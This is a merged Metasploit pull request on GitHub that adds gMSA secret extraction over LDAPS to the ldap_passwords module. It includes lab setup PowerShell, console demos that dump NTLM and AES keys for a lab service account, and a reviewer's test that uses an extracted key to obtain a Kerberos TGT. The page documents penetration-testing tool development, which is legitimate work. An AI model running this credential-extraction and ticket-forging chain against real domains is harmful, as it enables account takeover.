Skip to content

Add gMSA Secret Extraction From LDAP #20401

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
Jul 24, 2025

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Jul 21, 2025

This updates the existing auxiliary/gather/ldap_passwords module to search for and extract gMSA credentials from AD Domain Controllers. These credentials can then be used to authenticate as the service account.

Verification

  • Setup a gMSA account on a domain controller (see the included Powershell code)
  • Start msfconsole
  • use auxiliary/gather/ldap_passwords
  • Set the options as appropriate to target the DC, authenticate as an account that has access to the gMSA account but not the gMSA account itself (see step 5 of the "gMSA Setup" section below for configuring who has access)
  • Set SSL to true and RPORT to 636 so the module is run with SSL (the msDS-ManagedPassword attribute is only readable over LDAPS)
  • Run the module and see that the secrets were extracted
  • Use one of the AES keys with the auxiliary/admin/kerberos/get_ticket to obtain a TGT as the service account, showing the secret is correct and you now have access to authenticate as the account

gMSA Setup

Run this with DA privilges on the DC to setup a gMSA account. The gMSA account will be named Jabberwock$. It adds the current user and the current computer as account with privileges to read the secret.

# Step 1: Create KDS root key
Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)

# Step 2: Create security group
New-ADGroup -Name "JabberwockUsers" -GroupScope Global -GroupCategory Security

# Step 3: Add computer accounts to the group
Add-ADGroupMember -Identity "JabberwockUsers" -Members "$env:COMPUTERNAME$"

# Step 4: Create the gMSA
New-ADServiceAccount -Name "Jabberwock" -DNSHostName "jabberwock.msflab.local" -PrincipalsAllowedToRetrieveManagedPassword "JabberwockUsers"

# Step 5: Set direct computer access
Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:COMPUTERNAME$"
Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:USERNAME"

# Step 6: Install the gMSA
Install-ADServiceAccount -Identity "Jabberwock"

# Step 7: Test the installation
Test-ADServiceAccount -Identity "Jabberwock"

Demo

msf6 auxiliary(gather/ldap_passwords) > run
[*] Discovered base DN: DC=msflab,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msflab,DC=local
[+] Credential found in msds-managedpassword: Jabberwock$::aad3b435b51404eeaad3b435b51404ee:7bb82abf0d8bd125cdbf7d3abe0c4c88::: 
[+] Credential found in msds-managedpassword: Jabberwock$:aes256-cts-hmac-sha1-96:53baddba683f8bcbb98b648da308b79f7388fa76a5c9a1f4c7bda31a5a7ad975 
[+] Credential found in msds-managedpassword: Jabberwock$:aes128-cts-hmac-sha1-96:d2c27c26ee902176f4c53aa8a300d5ef 
[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) >

Comment on lines 11 to +21
def self.hash_to_jtr(cred)
case cred.private.type
when 'Metasploit::Credential::NTLMHash'
return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}"
when 'Metasploit::Credential::PostgresMD5'
if cred.private.jtr_format =~ /postgres|raw-md5/
params_to_jtr(
(cred.public.nil? ? '' : cred.public.username),
cred.private.data,
cred.class.model_name.element.to_sym,
format: cred.private.jtr_format,
db_id: cred.id
)
end

def self.params_to_jtr(username, private_data, private_type, format: nil, db_id: nil)
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I changed this around so Metasploit can get the JtR format of secrets without relying on a database connection. This means the auxiliary/gather/ldap_passwords module can use this code to format the hashes regardless of whether or not the user has a database connected.

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great work @zeroSteiner, no comments here 👍

Just a note for future travelers with respect to the setup instructions:

PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:COMPUTERNAME$"                                                                                                         
PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" -PrincipalsAllowedToRetrieveManagedPassword "$env:USERNAME"
PS C:\Users\Administrator> Install-ADServiceAccount -Identity "Jabberwock"
Install-ADServiceAccount : Cannot install service account. Error Message: '{Access Denied}
A process has requested access to an object, but has not been granted those access rights.'.
At line:1 char:1
+ Install-ADServiceAccount -Identity "Jabberwock"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (Jabberwock:String) [Install-ADServiceAccount], ADException
    + FullyQualifiedErrorId : InstallADServiceAccount:PerformOperation:InstallServiceAcccountFailure,Microsoft.ActiveD
   irectory.Management.Commands.InstallADServiceAccount

It seems like running the PrincipalsAllowedToRetrieveManagedPassword consecutively overwrites the parameter so the computer account loses access, which causes the installation attempt to fail because the computer account requires access. Setting them like so worked for me:

PS C:\Users\Administrator> Set-ADServiceAccount -Identity "Jabberwock" `
>>   -PrincipalsAllowedToRetrieveManagedPassword @(
>>     "$env:COMPUTERNAME$",
>>     "$env:USERNAME"
>>   )
PS C:\Users\Administrator> Install-ADServiceAccount -Identity "Jabberwock"
PS C:\Users\Administrator>

Testing

 msf6 auxiliary(gather/ldap_passwords) > set ldapdomain msf.local
ldapdomain => msf.local
msf6 auxiliary(gather/ldap_passwords) > set ldapusername administrator
ldapusername => administrator
msf6 auxiliary(gather/ldap_passwords) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(gather/ldap_passwords) > set rhost 172.16.199.202
rhost => 172.16.199.202
msf6 auxiliary(gather/ldap_passwords) > set rport 636
rport => 636
msf6 auxiliary(gather/ldap_passwords) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf6 auxiliary(gather/ldap_passwords) > run
[*] Discovered base DN: DC=msf,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msf,DC=local
[+] Credential found in msds-managedpassword: Jabberwock$::aad3b435b51404eeaad3b435b51404ee:664598ac3b81237522826eff323ecb0b:::
[+] Credential found in msds-managedpassword: Jabberwock$:aes256-cts-hmac-sha1-96:f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
[+] Credential found in msds-managedpassword: Jabberwock$:aes128-cts-hmac-sha1-96:0513d20973abbec9d68a987899f367d8
[*] Found 3 entries and 1 credentials in 'DC=msf,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



msf6 auxiliary(admin/kerberos/get_ticket) > set aes_key f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
aes_key => f15fc6a6937ed7bcdb434315cb3119faf1963ac8880977197bff08289d1f380a
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 172.16.199.202
rhosts => 172.16.199.202
msf6 auxiliary(admin/kerberos/get_ticket) > set username Jabberwock
username => Jabberwock
msf6 auxiliary(admin/kerberos/get_ticket) > set domain msf.local
domain => msf.local
msf6 auxiliary(admin/kerberos/get_ticket) > set username Jabberwock
username => Jabberwock
msf6 auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 172.16.199.202
[*] 172.16.199.202:88 - Getting TGT for [email protected]
[+] 172.16.199.202:88 - Received a valid TGT-Response
[*] 172.16.199.202:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250724142826_default_172.16.199.202_mit.kerberos.cca_388315.bin
[*] Auxiliary module execution completed

vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
if is_active_directory?(ldap)
print_status('The target LDAP server is an Active Directory Domain Controller.')
@ad_ds_domain_info = adds_get_domain_info(ldap)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great to see the mixin getting used 👍

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 24, 2025
@jheysel-r7 jheysel-r7 merged commit 392f87d into rapid7:master Jul 24, 2025
64 checks passed
@jheysel-r7
Copy link
Contributor

jheysel-r7 commented Jul 24, 2025

Release Notes

Updates the existing auxiliary/gather/ldap_passwords module to search for and extract gMSA credentials from Active Directory Domain Controllers. These credentials can then be used to authenticate as the service account.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
feature module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants